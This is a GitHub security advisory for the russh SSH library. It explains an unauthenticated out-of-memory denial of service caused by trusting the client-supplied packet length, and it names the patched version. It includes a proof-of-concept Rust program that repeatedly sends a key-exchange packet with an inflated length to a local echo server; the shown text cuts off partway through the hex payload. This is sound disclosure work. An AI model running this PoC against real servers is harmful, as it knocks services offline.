GitHub Security Advisory: GHSA-vgvv-x7xg-6cqg
Package: russh (RUST)
Severity: HIGH (CVSS 7.5)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: <= 0.44.0
Patched in: 0.44.1

Summary: Russh has an OOM Denial of Service due to allocation of untrusted amount

Details:
### Summary

Allocating an untrusted amount of memory allows any unauthenticated user to OOM a russh server.

### Details

An SSH packet consists of a 4-byte big-endian length, followed by a byte stream of this length.
After parsing and potentially decrypting the 4-byte length, russh allocates enough memory for this bytestream, as a performance optimization to avoid reallocations later.

https://github.com/Eugeny/russh/blob/4eaa080e[PII_REDACTED]f75e8fff45b743fe607f8c/russh/src/cipher/mod.rs#L254

But this length is entirely untrusted and can be set to any value by the client, causing this much memory to be allocated, which will cause the process to OOM within a few such requests.

RFC 4253 contains an explicit section on packet length limits: https://datatracker.ietf.org/doc/html/rfc4253#section-6.1

> However, implementations SHOULD check that the packet length is reasonable in order for the implementation to avoid denial of service and/or buffer overflow attacks.

### PoC

Running the `echoserver` example on port 2222 (`cd russh && cargo run --release --example echoserver`), the provided Rust program can be executed against this echoserver and will cause it to OOM within a few tries.

<details>
<summary>Rust code to run against the echo server</summary>

`Cargo.toml`
```toml
[package]
name = "poc"
version = "0.1.0"
edition = "2021"

[dependencies]
hex-literal = "=0.4.1"
```

`main.rs`
```rust
use std::time::Duration;
use std::{error::Error, net::SocketAddr};

use std::{
    io::{Read, Write},
    net::TcpStream,
};

fn main() -> Result<(), Box<dyn Error>> {
    loop {
        attempt()?;
        eprintln!("still running, trying again in a few seconds");
        std::thread::sleep(Duration::from_secs(2));
    }
}

fn attempt() -> Result<(), Box<dyn Error>> {
    for i in 0..5 {
        eprintln!("iteration {i}");
        let mut s = TcpStream::connect("0.0.0.0:2222".parse::<SocketAddr>().unwrap())?;
        s.write_all(b"SSH-2.0-OpenSSH_9.7\r\n")?;
        s.read(&mut [0; 1000])?;
        // A KeyExchangeInit copied from an OpenSSH client run but the length has been replaced with 0xFFFFFF00.
        s.write_all(&hex_literal::hex!(
            "
        ffffff00071401af35150e67f2bc6dc4bc6b[PII_REDACTED]000131736e[PII_REDACTED][PII_REDACTED]353
        1392d[PII_REDACTED]32406f70656e7373682e636f6d2c[PII_REDACTED][PII_REDACTED]2d[PII_REDACTED]362c
       [PII_REDACTED][PII_REDACTED]2d[PII_REDACTED]36406c[PII_REDACTED]2e6f72672c656364682d736861322d6
        e[PII_REDACTED]35362c656364682d736861322d6e[PII_REDACTED]38342c656364682d736861322d6e69
       [PII_REDACTED]312c[PII_REDACTED]652d68656c6c6d616e2d67726f75702d[PII_REDACTED]6e67652d73686
        13235362c[PII_REDACTED]652d68656c6c6d616e2d67726f757031362d[PII_REDACTED]322c[PII_REDACTED]
        652d68656c6c6d616e2d67726f757031382d[PII_REDACTED]322c[PII_REDACTED]652d68656c6c6d616e2
        d67726f757031342d[PII_REDACTED]362c6578742d696e666f2d632c6b65782d[PII_REDACTED]742d632d
        763030406f70656e7373682e636f6d000001cf7373682d[PII_REDACTED]31392d636572742d7630314
        06f70656e7373682e63